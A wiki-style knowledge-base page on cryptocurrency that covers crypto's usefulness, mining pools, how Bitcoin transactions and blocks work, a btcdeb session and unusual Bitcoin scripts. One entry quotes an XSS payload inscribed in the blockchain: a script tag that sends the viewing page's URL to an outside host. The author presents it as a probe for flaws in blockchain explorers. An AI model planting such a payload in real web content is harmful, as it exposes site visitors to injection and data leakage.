Ciro Santilli OurBigBook.com $£ Sponsor €¥ 中国独裁统治 China Dictatorship 新疆改造中心、六四事件、法轮功、郝海东、709大抓捕、2015巴拿马文件 邓家贵、低端人口、西藏骚乱
cryptocurrency.bigb
= Cryptocurrency
{wiki}

= Are cryptocurrencies useful?
{parent=Cryptocurrency}

The key difficulties of cryptocurrencies are:
* how do transaction fees/guarantees/times compare to centralized systems such as credit cards:
  * https://bitcoin.stackexchange.com/questions/1261/is-it-possible-to-send-bitcoins-without-paying-a-fee "The Blockchain Scalability Problem & the Race for Visa-Like Transaction Speed" (2019)

    \Q[The battle for a scalable solution is the blockchain's moon race. Bitcoin processes 4.6 transactions per second. Visa does around 1,700 transactions per second on average (based on a calculation derived from the official claim of over 150 million transactions per day).]
  * https://towardsdatascience.com/the-blockchain-scalability-problem-the-race-for-visa-like-transaction-speed-5cce48f9d44
  Obviously, decentralized currencies cannot be cheaper to maintain than centralized ones, since with decentralization you still have to send network messages at all times, and instead of one party carrying out computations, multiple parties have to carry out computations.

  Crypto could however be close enough in price to centralized systems that it becomes viable, this can be considered.
* how can <governments> <tax> cryptocurrency. Notably, because:
  * taxation has to be <progressive tax>[progressive], e.g. <wealth tax>[we have to tax the rich more than the poor], and <anonymity> in transactions would weaken that
  * it would be even easier to move money into <fiscal paradises>, and then just say, oops, lost my passwords, those coins are actually gone
  See also <globalization reduces the power of governments>.

Until those problems are solved, the only real applications of cryptocurrency will by <illegal> activities, notably buying <drugs>, paying for <ransomware>. But also paying for anti-<censorship> services from inside <dictatorships>. Illegal activity can be good when governments are bad, and arguably selling drugs should be legal.

For this reason <Ciro Santilli> believes that <privacy coins> like <Monero> are currently the most useful cryptocurrencies. Also, people concerned with their privacy are likely to more naturally make fewer larger payments to reduce exposure rather than a bunch of small separate ones, and therefore transaction fees matter less, and can be seen as a reasonable privacy <tax>. Also drugs are expensive, just have a look at any <uncensored Onion service search engine>, so individual transactions tend to be large.

The prevention of <inflation> due to <money creation> in <fiat currencies> is a valid argument for cryptocurrencies. <Money creation vs tax>[Money printing is a bad form of tax]. But why not just instead invest in bonds or <stocks>, which actually have a specific intrinsic value and should therefore increase your capital and beat inflation? Even if crypto did take over, its value would eventually become constant, and just holding it would lose out to stocks and bonds. And pre-crypto, salaries should adjust relatively quickly to new inflation levels as they come, though there is always some delay. Also, without anonymity, governments will sooner or later find a way to regulate and pervert it. If you want to do things without anonymity, then what you really have to fight for is to change government itself, perhaps with a <#DAO>-like approach, or just for pushing for a more <direct democracy>.

If crypto really takes off, 99.99% of people will only ever use it through some <cryptocurrency exchange> (unless scalability problems are solved, and they replace <fiat currencies> entirely), so the experience will be very similar to <PayPal>, and without "true" decentralization.

For those reasons, <Ciro Santilli> instead believes that governments should issue <electronic money>, and maintain an open <API> that all can access instead. The centralized service will always be cheaper for <society> to maintain than any distributed service, and it will still allow for proper taxation.

Ciro believes that it is easy for people to be seduced by the <idealistic> promise that "cryptocurrency will make the world more fair and equal by giving everyone equal opportunities, away from the corruption of Governments". Such optimism that new <technologies> will solve certain key <social> problems without the need for constant <government> intervention and management is not new, as shown e.g. at <HyperNormalisation by Adam Curtis (2016)> when he talks about the cyberspace (when the <Internet> was just beginning): https://youtu.be/fh2cDKyFdyU?t=2375[]. Technologies can make our lives better. But in general, some of them also have to be managed.

In any case, cryptocurrencies are <bullshit>, the true currency of the future is going to be <Magic: The Gathering> cards. And <Cirocoin>.

One closely related thing that Ciro Santilli does think could be interesting exploring right now however, notably when having <Monero>-like anonymity in mind, would be anonymous <electronic voting>, which is a pre-requisite to make <direct democracy> convenient so people can vote more often.

TODO evaluate the possible application of cryptocurrency for international transfers:
* https://bitcoin.stackexchange.com/questions/25583/does-it-make-sense-to-use-bitcoin-to-transfer-money-to-yourself-internationally
Of course, the ideal solution would be for governments to just allow for people from other countries to create accounts in their country, and use the centralized API just like citizens. Having an account of some sort is of course fundamental to avoid money laundering/tax evasion, be it on the API, or when you are going to cash out the crypto into <fiat currency>[fiat]. So then the question becomes: suppose that governments are shit and never make such APIs, are international transfers just because traditional banks are inefficient/greedy? Or is it because of the inevitable cost of auditing transfers? E.g. how does <Transferwise> compare to Bitcoin these days? And if cryptocurrency is more desirable, why wouldn't <Transferwise> just use it as their backend, and reach very similar fees?

= Privacy coin
{parent=Cryptocurrency}

Notable ones:
* <Monero>

= Cryptocurrency mining
{parent=Cryptocurrency}

= Miner
{disambiguate=cryptocurrency}
{synonym}

= Mining
{disambiguate=cryptocurrency}
{synonym}

= Block reward
{parent=Cryptocurrency mining}

= Mining reward
{parent=Cryptocurrency mining}
{wiki}

= Mining pool
{parent=Cryptocurrency mining}
{wiki}

= Bitcoin mining pool
{parent=Mining pool}

= AntPool
{c}
{parent=Bitcoin mining pool}

https://en.bitcoin.it/wiki/AntPool

= Eligius pool
{c}
{parent=Bitcoin mining pool}

https://en.bitcoin.it/wiki/Eligius

Created by <Luke Dashjr>.

The pool is named after Saint Eligius, patron of minershttps://twitter.com/LukeDashjr/status/1749183638313246875{ref}

Eligius also means to "choose" or "chosen" in <Latin>: https://en.wiktionary.org/wiki/Eligius[], same root as "to elect" in modern <English (language)> presumably. 

= F2Pool
{c}
{parent=Bitcoin mining pool}

https://www.f2pool.com/

= Horrible Horrendous Terrible Tremendous
{c}
{parent=Bitcoin mining pool}
{title2=2012-2013}
{title2=HHTT}

http://hhtt.1209k.com/

They might have shut down, but they still have the cutest name! And they've made some cute <inscription (blockchain)>[inscriptions] too, see: <Cool data embedded in the bitcoin blockchain/HHTT>

= Slush Pool
{c}
{parent=Bitcoin mining pool}
{title2=2010-}

https://en.bitcoin.it/wiki/Slush_Pool

= Vanity address
{parent=Cryptocurrency}

https://bitcoin.stackexchange.com/questions/20305/what-is-vanity-address

= List of cryptocurrencies
{parent=Cryptocurrency}

= Bitcoin
{c}
{parent=List of cryptocurrencies}
{title2=2009}
{wiki}

= Bitcoin blockchain
{c}
{synonym}

= BTC
{c}
{synonym}
{title2}

How it works: <how Bitcoin works>{full}.

Official website: https://bitcoin.org/en/

Reference implementation: <Bitcoin Core>.

= Bitcoin hello world
{c}
{parent=Bitcoin}

* buy some at a <cryptocurrency exchange>. This is the only viable way of obtaining crypto nowadays, since basically all cryptocurrencies require specialized hardware to mine.
* send it to a self hosted <Bitcoin wallet without a full node>, e.g. <Electrum>
* then send something out of the wallet back to the exchange wallet!
* convert the crypto back to cash

E.g.: <Coinbase Bitcoin hello world>.

= Bitcoin HOWTO
{c}
{parent=Bitcoin}

= Get Bitcoin transaction id from position in dat file
{parent=Bitcoin HOWTO}

= Get transaction id from position in dat file
{synonym}

Suppose we specify:
* a .dat file
* the offset in bytes within that file
The question then is, which transaction is encoded at that position of the file?

This would allow us to index inscriptions in the .dat files directly with fast C tools, and then retrive the transaction ID to get cleaner data and metadata.

It should be possible if we managed to take the information from https://bitcoindev.network/understanding-the-data/[] and dump into an indexed <SQLite> database.

I tried to start things off with <LevelDBDumper>:
``
LevelDBDumper -d ~/snap/bitcoin-core/common/.bitcoin/indexes/txindex -f btc.csv -q -o . -t csv
``
but that consumed all 64 GB of RAM on <Ciro Santilli's hardware/P51>... https://github.com/mdawsonuk/LevelDBDumper/issues/15

But OK, nevermind that repo, it can be done easily with the <LevelDB> API of any language: https://bitcoin.stackexchange.com/questions/121888/what-is-the-data-format-layout-for-txindex-leveldb-values[]. Just the data seems wrong and we don't know why.

= Get all Bitcoin transactions from and to a given address
{parent=Bitcoin HOWTO}

* https://bitcoin.stackexchange.com/questions/77984/find-all-transactions-for-a-bitcoin-address bad close
* <Blockchair>
  * https://stackoverflow.com/questions/28205667/list-transactions-from-given-address-in-bitcoind/78009760#78009760
    * https://stackoverflow.com/questions/28205667/list-transactions-from-given-address-in-bitcoind/29244421#29244421 mentions --addrindex but that is dead now:
      * https://github.com/btcsuite/btcd/pull/205
      * https://github.com/btcsuite/btcd/issues/190
  * https://bitcoin.stackexchange.com/questions/71019/filter-transactions-by-time-on-a-given-address/121720#121720
  * https://bitcoin.stackexchange.com/questions/121718/fnd-the-most-valuable-transactions-made-to-a-given-address/121719#121719

= Bitcoin wallet
{c}
{parent=Bitcoin}

= Electrum
{c}
{parent=Bitcoin wallet}
{tag=Create Bitcoin wallet without a full node}

https://electrum.org/

https://askubuntu.com/questions/281233/how-can-i-install-the-electrum-bitcoin-wallet/1384053#1384053

For the love of God, on Ubuntu install from the official <AppImage> downloaded from https://electrum.org/#download[], not this random outdated <Snap> https://snapcraft.io/electrum[]:
* https://askubuntu.com/questions/281233/how-can-i-install-the-electrum-bitcoin-wallet/1384053#1384053
* https://www.reddit.com/r/Electrum/comments/bf7iyl/electrum_synchronizing/
* https://www.reddit.com/r/CryptoCurrency/comments/peotkp/can_i_trust_the_electrum_snap_package/

= Bitcoin wallet without a full node
{c}
{parent=Bitcoin wallet}

= Create Bitcoin wallet without a full node
{c}
{synonym}

* https://bitcoin.stackexchange.com/questions/52120/send-from-bitcoin-core-without-downloading-blockchain
* https://www.reddit.com/r/Bitcoin/comments/5kmuya/is_it_possible_to_have_my_own_bitcoin_wallet/

= How Bitcoin works
{parent=Bitcoin}

Here is a very direct description of the system:
* each transaction (transaction is often abbreviated "tx") has a list of inputs, and a list of outputs
* each input is the output of a previous transaction. You verify your identity as the indented receiver by producing a <digital signature> for the <public key> specified on the output
* each output specifies the <public key> of the receiver and the value being sent
* the sum of output values cannot obvious exceed the sum of input values. If it is any less, the leftover is sent to the miner of the transaction as a transaction fee, which is an incentive for mining.
* once an output is used from an input, it becomes marked as spent, and cannot be reused again. Every input uses the selected output fully. Therefore, if you want to use an input of 1 <BTC> to pay 0.1 <BTC>, what you do is to send 0.1 <BTC> to the receiver, and 0.9 <BTC> back to yourself as <change (Bitcoin)>. This is why the vast majority of transactions has two outputs: one "real", and the other <change (Bitcoin)> back to self.
<code Sample Bitcoin transaction graph> illustrates these concepts:
* `tx0`: magic transaction without any inputs, i.e. either <Genesis block> or a coinbase <Bitcoin mining reward>[mining reward]. Since it is a magic transaction, it produces 3 Bitcoins from scratch: 1 in `out0` and 2 in `out1`. The initial value was actually 50 <BTC> and reduced with time: <Bitcoin halvening>{full}
* `tx1`: regular transaction that takes:
  * a single input from `tx0 out0`, with value 1
  * produces two outputs:
    * `out0` for value 0.5
    * `out1` for value 0.3
  * this means that there was 0.2 left over from the input. This value will be given to the miner that mines this transaction.
  Since this is a regular transaction, no new coins are produced.
* `tx2`: regular transaction with a single input and a single output. It uses up the entire input, leading to 0 miner fees, so this greedy one might (will?) never get mined.
* `tx3`: regular transaction with two inputs and one output. The total input is 2.3, and the output is 1.8, so the miner fee will be 0.5

``
                   tx1                     tx3
  tx0            +---------------+       +---------------+
+----------+     | in0           |       | in0           |
| out0     |<------out: tx0 out0 |  +------out: tx1 out1 |
| value: 1 |     +---------------+  |    +---------------+
+----------+     | out0          |  |    | in1           |
| out1     |<-+  | value: 0.5    |  | +----out: tx2 out0 |
| value: 2 |  |  +---------------+  | |  +---------------+
+----------+  |  | out1          |<-+ |  | out1          |
              |  | value: 0.3    |    |  | value: 1.8    |
              |  +---------------+    |  +---------------+
              |                       |
              |                       |
              |                       |
              |    tx2                |
              |  +---------------+    |
              |  | in0           |    |
              +----out: tx0 out1 |    |
                 +---------------+    |
                 | out0          |<---+
                 | value: 2      |
                 +---------------+
``
{title=Sample <Bitcoin> transaction <graph>}

Since every input must come from a previous output, there must be some magic way of generating new coins from scratch to bootstrap the system. This mechanism is that when the miner mines successfully, they get a mining fee, which is a magic transaction without any valid inputs and a pre-agreed value, and an incentive to use their power/compute resources to mine. This magic transaction is called a "https://en.bitcoin.it/wiki/Coinbase[coinbase transaction]".

The key innovation of Bitcoin is how to prevent double spending, i.e. use a single output as the input of two different transactions, via mining.

For example, what prevents me from very quickly using a single output to pay two different people in quick succession?

The solution are the blocks. Blocks <discretize> transactions into chunks in a way that prevents double spending.

A block contains:
* a list of transactions that are valid amongst themselves. Notably, there can't be double spending within a block.

  People making transactions send them to the network, and miners select which ones they want to add to their block. Miners prefer to pick transactions that are:
  * small, as less bytes means less hashing costs. Small generally means "doesn't have a gazillion inputs/outputs".
  * have higher transaction fees, for obvious reasons
* the ID of its parent block. Blocks therefore form a linear linked list of blocks, except for temporary ties that are soon resolved. The longest known list block is considered to be the valid one.
* a nonce, which is an integer chosen "arbitrarily by the miner"

For a block to be valid, besides not containing easy to check stuff like double spending, the miner must also select a nonce such that the hash of the block starts with N zeroes.

For example, considering the transactions from <code Sample Bitcoin transaction graph>, the block structure shown at <code Sample Bitcoin blockchain> would be valid. In it `block0` contains two transactions: `tx0` and `tx1`, and `block1` also contains two transactions: `tx2` and `tx3`.

``
 block0           block1             block2
+------------+   +--------------+   +--------------+
| prev:      |<----prev: block0 |<----prev: block1 |
+------------+   +--------------+   +--------------+
| txs:       |   | txs:         |   | txs:         |
| - tx0      |   | - tx2        |   | - tx4        |
| - tx1      |   | - tx3        |   | - tx5        |
+------------+   +--------------+   +--------------+
| nonce: 944 |   | nonce: 832   |   | nonce: 734   |
+------------+   +--------------+   +--------------+

``
{title=Sample <Bitcoin> blockchain}
The `nonce`s are on this example arbitrary chosen numbers that would lead to a desired hash for the block.

`block0` is the <Genesis block>, which is magic and does not have a previous block, because we have to start from somewhere. The network is hardcoded to accept that as a valid starting point.

Now suppose that the person who created `tx2` had tried to double spend and also created another transaction `tx2'` at the same time that looks like this:
``
  tx2'
+---------------+
| in0           |
| out: tx0 out1 |
+---------------+
| out0          |
| value: 2      |
+---------------+
``
Clearly, this transaction would try to spend `tx0 out1` one more time in addition to `tx2`, and should not be allowed! If this were attempted, only the following outcomes are possible:
* `block1` contains `tx2`. Then when `block2` gets made, it cannot contain `tx2'`, because `tx0 out1` was already spent by `tx2`
* `block1` contains `tx2'`. `tx2` cannot be spent anymore
Notably, it is not possible that `block1` contains both `tx2` and `tx2'`, as that would make the block invalid, and the network would not accept that block even if a miner found a `nonce`.

Since hashes are basically random, miners just have to try a bunch of nonces randomly until they find one that works.

The more zeroes, the harder it is to find the hash. For example, on the extreme case where N is all the bits of the hash output, we are trying to find a hash of exactly 0, which is statistically impossible. But if e.g. N=1, you will in average have to try only two nonces, N=2 four nonces, and so on.

The value N is updated every 2 weeks, and aims to make blocks to take 10 minutes to mine on average. N has to be increased with time, as more advanced hashing hardware has become available.

Once a miner finds a nonce that works, they send their block to the network. Other miners then verify the block, and once they do, they are highly incentivized to stop their hashing attempts, and make the new valid block be the new parent, and start over. This is because the length of the chain has already increased: they would need to mine two blocks instead of one if they didn't update to the newest block!

Therefore if you try to double spend, some random miner is going to select only one of your transactions and add it to the block.

They can't pick both, otherwise their block would be invalid, and other miners wouldn't accept is as the new longest one.

Then sooner or later, the transaction will be mined and added to the longest chain. At this point, the network will move to that newer header, and your second transaction will not be valid for any miner at all anymore, since it uses a spent output from the first one that went in. All miners will therefore drop that transaction, and it will never go in.

The goal of having this mandatory 10 minutes block interval is to make it very unlikely that two miners will mine at the exact same time, and therefore possibly each one mine one of the two double spending transactions. When ties to happen, miners randomly choose one of the valid blocks and work on top of it. The first one that does, now has a block of length L + 2 rather than L + 1, and therefore when that is propagated, everyone drops what they are doing and move to that new longest one.

Bibliography:
* https://arstechnica.com/tech-policy/2020/12/how-bitcoin-works/

= Bitcoin script
{c}
{parent=How Bitcoin works}

= Bitcoin script debugger
{parent=Bitcoin script}

= btcdeb
{parent=Bitcoin script debugger}

https://github.com/bitcoin-core/btcdeb

Tested on <Ubuntu 23.10>:
``
sudo apt install libtool
git clone https://github.com/bitcoin-core/btcdeb
cd btcdeb
git checkout 4fd007e57b79cba9b5ffdf5ffe599778c0d63b88
./autogen.sh
./configure
make -j
``
Patch submited at: https://github.com/bitcoin-core/btcdeb/pull/143

Then we use it;
``
./btcdeb '[OP_1 OP_2 OP_ADD]'
``
and inside the shell:
``
btcdeb 5.0.24 -- type `./btcdeb -h` for start up options
LOG: signing segwit taproot
notice: btcdeb has gotten quieter; use --verbose if necessary (this message is temporary)
3 op script loaded. type `help` for usage information
script  |  stack 
--------+--------
1       | 
2       | 
OP_ADD  | 
#0000 1
btcdeb> step
                <> PUSH stack 01
script  |  stack 
--------+--------
2       |      01
OP_ADD  | 
#0001 2
btcdeb> step
                <> PUSH stack 02
script  |  stack 
--------+--------
OP_ADD  |      02
        |      01
#0002 OP_ADD
btcdeb> step
                <> POP  stack
                <> POP  stack
                <> PUSH stack 03
script  |  stack 
--------+--------
        |      03
btcdeb> step
script  |  stack 
--------+--------
        |      03
btcdeb> step
at end of script
btcdeb>
``

= Puzzle script
{parent=Bitcoin script}

= Finding unspent puzzle scripts
{parent=Puzzle script}
{title2=2023}

https://github.com/cirosantilli/bitcoin-inscription-indexer?tab=readme-ov-file#utxo_nonstandard

= BSHUNTER: Detecting and Tracing Defects of Bitcoin Scripts
{parent=Finding unspent puzzle scripts}
{title2=2023}

https://dl.acm.org/doi/abs/10.1109/ICSE48619.2023.00037

Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng

Epic title.

= Bitcoin script type
{parent=Bitcoin script}

= Bitcoin transaction type
{synonym}

= Multisig
{c}
{parent=Bitcoin script type}

https://en.bitcoin.it/wiki/Multi-signature

= P2PKH
{c}
{parent=Bitcoin script type}

= P2SH
{c}
{parent=Bitcoin script type}

= Bitcoin non-standard transaction
{c}
{parent=Bitcoin script type}

Full list at: https://github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/utxo_nonstandard

Bibliography:
* https://bitcoin.stackexchange.com/questions/5883/is-there-a-listing-of-strange-or-unusual-scripts-found-in-transactions/105392#105392
* https://bitcoin.stackexchange.com/questions/547/useful-alternative-bitcoin-transaction-scripts
* https://bitcoin.stackexchange.com/questions/35956/non-standard-tx-with-obscure-op-codes-examples/36037#36037 notably provides the amazing https://www.quantabytes.com/articles/a-survey-of-bitcoin-transaction-types
Monday, January 29, 2024

= An overview of recent non-standard Bitcoin transactions by 0xB10C
{parent=Bitcoin non-standard transaction}
{title2=2024-01-29}

https://b10c.me/observations/09-non-standard-transactions/

= Invalid Bitcoin transaction script
{parent=Bitcoin non-standard transaction}

= OP_INVALIDOPCODE
{parent=Invalid Bitcoin transaction script}

= 77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69
{parent=OP_INVALIDOPCODE}
{title2=2013-08-12}

Ouptut 0 disassembles as:
``
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
``
The large constant contains an ASCII <Bitcoin Core> patch entitled `Remove (SINGLE|DOUBLE)BYTE` so presumably this is a proof of concept:
``
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
``

https://bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.

Discussed at: https://bitcoin.stackexchange.com/questions/35956/non-standard-tx-with-obscure-op-codes-examples

= Peter Todd's hash collision puzzles
{c}
{parent=Bitcoin non-standard transaction}
{title2=2013}

* https://bitcointalk.org/index.php?topic=293382.0
* https://xiaohuiliu.medium.com/bitcoin-zk-bounty-series-part-2-finding-hash-collisions-5e3aa3eb3925
* https://bitcoinjs-guide.bitcoin-studio.com/bitcoinjs-guide/v5/part-three-pay-to-script-hash/puzzles/computational_puzzle_sha1_collision_p2sh

As mentioned at the prize was claimed at https://www.blockchain.com/explorer/transactions/btc/8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc[8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc] (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same <SHA-1>:
``
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
``
both giving
``
f92d74e3874587aaf443d1db961d4e26dde13e9c
``
It was claimed on the same day that <Google> disclosed the collision: https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html

Both of these are <PDF> prefixes, so they start with the PDF <file signature>, but are not fully viewable PDFs on their own. 

= Peter Todd
{c}
{parent=Peter Todd's hash collision puzzles}

* https://bitcointalk.org/index.php?action=profile;u=2546
* https://twitter.com/peterktodd
* https://github.com/petertodd
* https://petertodd.org/
* https://www.reddit.com/user/petertodd/

= Bitcoin script that terminates with multiple values on the stack
{parent=Bitcoin non-standard transaction}

* https://www.reddit.com/r/Bitcoin/comments/67l7ox/does_the_stack_have_to_only_contain_true/
* https://github.com/bitcoin/bitcoin/commit/39f0d9686095bce469dbfa52333331a5d15c6545

= 3ad6677303fb6f700a4f2f977fe86e5324e0ddb0d3b33a649e513d7e88904e85
{parent=Bitcoin script that terminates with multiple values on the stack}
{title2=2023-09-11}

This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
``
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
``
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?

= Provably unspendable Bitcoin output script
{parent=Bitcoin non-standard transaction}

= 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af
{parent=Provably unspendable Bitcoin output script}
{title2=2014-06-14}
{title2=XSS detection}

Output 0 does:
``
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
``
where the large constant is an interesting <inscription (blockchain)> to test for the presence of <XSS> attacks on <blockchain explorers>:
``
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
``
This is almost spendable with:
``
1 OP_TOALTSTACK 10 1 2
``
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.

Bibliography:
* https://www.reddit.com/r/Bitcoin/comments/2c5tdz/found_this_while_crawling_the_metadata/
* https://bitcointalk.org/index.php?topic=701556.0

= a165c82cf21a6bae54dde98b7e00ab43b695debb59dfe7d279ac0c59d6043e24
{parent=4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af}
{title2=2014-06-14}
{title2=XSS detection sister}

Sister transaction of <4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af> with another variant of the <XSS> but without IF and `OP_FROMALTSTACK`, thus making it spendable:
``
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
``

= 5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3
{parent=Provably unspendable Bitcoin output script}
{title2=2022-10-20}
{title2=malformed Coinbase}
{tag=Coinbase transaction}

= Coinbase transaction of block 759475
{synonym}
{title2}

In this malformed <coinbase> transaction, the mining pool "nicehash" produced a <provably unspendable Bitcoin output script> due to a bug, and therefore lost most of the entire <block reward> of 6.25 <BTC> then worth about \$ 123,000.

The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
``
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
``
and for the second smaller one:
``
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
``
the third one being an <OP_RETURN> message.

This event received some coverage:
* https://twitter.com/hashrateindex/status/1583146537538170880
* https://www.linkedin.com/posts/david-westrop_block-759475-was-mined-without-a-payout-activity-6989026297020628992-qtx4/?originalSubdomain=lk

https://www.blockchain.com/explorer/transactions/btc/5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3

= Invalid Bitcoin script
{c}
{parent=Bitcoin script type}

They appear to be included, with rationale that you can already include syntactically valid crap in an unprovable way: https://github.com/bitcoin/bitcoin/issues/320 Better then have syntactically invalid crap that is provable.

The outputs of this transaction seem to be the first syntactically incorrect scripts of the blockchain: https://blockchain.info/tx/ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767?format=json[], found by parsing everything locally. The transaction was made in 2013 for 0.1 <BTC>, which then became unspendable.

The first invalid script is just e.g. "script":"01", which says will push one byte into the stack, but then ends prematurely.

= Bitcoin script operator
{parent=Bitcoin script}

= OP_RETURN
{c}
{parent=Bitcoin script operator}
{tag=Bitcoin inscription method}
{title2=2014}

= Bitcoin input script
{c}
{parent=Bitcoin script}

= Input script
{synonym}

= Bitcoin output script
{c}
{parent=Bitcoin script}

= Output script
{synonym}

= Change
{disambiguate=Bitcoin}
{parent=How Bitcoin works}

= Bitcoin mining reward
{parent=How Bitcoin works}
{tag=Block reward}
{tag=Mining reward}

= Bitcoin halvening
{parent=Bitcoin mining reward}

https://cointelegraph.com/learn/bitcoin-halving-how-does-the-halving-cycle-work-and-why-does-it-matter Happens every 210,000 blocks, aiming approximately at 4 year intervals. The historical dates were:
* 50 <BTC> initially
* 1st: 2012: down to 25 <BTC>
* 2nd: 2016: down to 12.5 <BTC>
* 3rd: 2020: down to 6.25 <BTC>

Each of these events prompts some commemorative <inscription (blockchain)>[inscriptions]: <Cool data embedded in the bitcoin blockchain/Halvening messages>{full}.

= History of Bitcoin
{parent=Bitcoin}
{wiki}

* 2008-08-18: <bitcoin.org> registered
* 2008-10-31: first public announcement at https://www.metzdowd.com/pipermail/cryptography/2008-October/014810.html by <satoshi@vistomail.com>
* 2009-01-03: <Genesis block> mined
* 2009-01-11: <First block not mined by Satoshi>
* 2009-01-12: <First Bitcoin transactoin>
* 2010-05-18: the first of <Laszlo's pizzas> at about \$0.0045 / <BTC>
* 2010-07-17: first trade happes on <Mt. Gox> at \$0.04951 / <BTC>: https://cryptopotato.com/10-years-ago-first-bitcoin-trade-on-mt-gox-for-0-05-per-btc/
* 2014: <OP_RETURN> goes live

= First Bitcoin transactoin
{parent=History of Bitcoin}
{tag=Bitcoin transaction}
{title2=block 170}

= f4184fc596403b9d638783cf57adfe4c75c605f6356fbc91338530e9831e9e16
{synonym}
{title2}

MOre precisely we of course mean the first non-<Coinbase transaction> obviously.

* https://www.blockchain.com/explorer/transactions/btc/f4184fc596403b9d638783cf57adfe4c75c605f6356fbc91338530e9831e9e16
* https://www.blockchain.com/explorer/blocks/btc/170

Using funds from block 9.

= First mentions of bitcoin on
{parent=History of Bitcoin}

= First mentions of bitcoin on HackerNews
